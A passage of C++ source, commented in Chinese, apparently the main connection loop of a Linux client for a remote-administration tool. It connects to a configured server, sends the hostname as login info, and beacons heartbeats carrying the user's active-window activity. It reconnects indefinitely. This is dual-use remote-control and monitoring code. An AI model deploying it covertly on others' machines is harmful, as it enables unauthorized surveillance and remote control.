初始化用户活动检测器(用于心跳包中的 ActiveWnd 字段) ActivityChecker activityChecker; std::unique_ptr ClientObject(new IOCPClient(g_bExit, false)); ClientObject->setManagerCallBack(NULL, DataProcess, NULL); while (!g_bExit) { clock_t c = clock(); if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Sleep(5000); continue; } // 进入新连接,重置服务端身份校验状态 ClientAuth::OnNewConnection(); ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); // 新连接:把 ACK 看门狗喂到当前时间,避免循环刚进来就被误判为超时 g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed); // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) { // 检查是否需要重发登录信息(分组变更后) if (g_needResendLogin.exchange(false)) { // 更新 szPCName(hostname/groupname 格式) std::string grp = g_SETTINGS.szGroupName; if (!grp.empty()) { std::string pcNameWithGroup = std::string(hostname) + "/" + grp; strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1); } else { strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1); } logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0'; ClientObject->SendLoginInfo(logInfo); Mprintf(">> Resent login info after group change\n"); } // 等待心跳间隔(每秒检查一次退出条件,保证及时响应) int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30; for (int i = 0; i < interval; ++i) { if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) break; Sleep(1000); } if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) break; // 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连, // 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。 if (ClientAuth::IsTimedOut()) { ClientObject->Disconnect(); // 关闭 socket,防止重连时 fd 泄漏 break; } // 应用层 ACK 看门狗:超过 max(60s, interval*3) 没收到 HeartbeatACK 就 // 主动断开走重连。专治 TCP send() 在半死连接下永远返回成功的盲区—— // VM 挂起恢复 / 笔记本合盖唤醒 / NAT 表项老化等场景,对端早已不在, // 但本端 send() 仍把字节塞进 SNDBUF,IsConnected() 一直为真。 // 与服务端 CheckHeartbeat 超时(2015RemoteDlg.cpp 的 max(60, ReportInterval*3)) // 对齐:服务端删 host 时本端也能感知到,立即重连而不是等数据卡 ~15 分钟。 // 这一层不依赖 TCP_USER_TIMEOUT,跨平台必备。 { int ackTimeoutSec = (interval * 3 > 60) ? interval * 3 : 60; const uint64_t ackTimeoutMs = (uint64_t)ackTimeoutSec * 1000ULL; uint64_t lastAck = g_lastHeartbeatAckMs.load(std::memory_order_relaxed); uint64_t nowMs = GetUnixMs(); if (lastAck > 0 && nowMs > lastAck && nowMs - lastAck > ackTimeoutMs) { Mprintf(">>> Heartbeat ACK timeout: %llu ms since last ACK " "(threshold=%llu ms), reconnecting\n", (unsigned long long)(nowMs - lastAck), (unsigned long long)ackTimeoutMs); ClientObject->Disconnect(); break; } } // 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致) // ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的 // CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容 // MBCS 老服务端做过 utf8ToGbk 转换,但现在新版 Linux 客户端经 // libsign 网关只能连新版服务端,无需再转。 std::string activity = activityChecker.Check(); Heartbeat hb; hb.Time = GetUnixMs(); hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒 strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1); BYTE buf[sizeof(Heartbeat) + 1]; buf[0] = TOKEN_HEARTBEAT; memcpy(buf + 1, &hb, sizeof(Heartbeat)); ClientObject->Send2Server((char*)buf, sizeof(buf)); // 心跳节奏太密日志会刷屏;最多 60s 一行 static time_t lastSendLog = 0; time_t now_s = time(nullptr); if (now_s - lastSendLog >= 60) { lastSendLog = now_s; Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n", hb.Ping, interval, activity.c_str()); } } } // 退出原因留痕:signal handler 不能直接打日志,在这里补一行。 if (g_lastSignal != 0) { Mprintf(">>> Exit by signal %d (g_bExit=%d)\n", (int)g_lastSignal, (int)g_bExit); } else { Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit); } Logger::getInstance().stop(); removePidFile(); return 0; }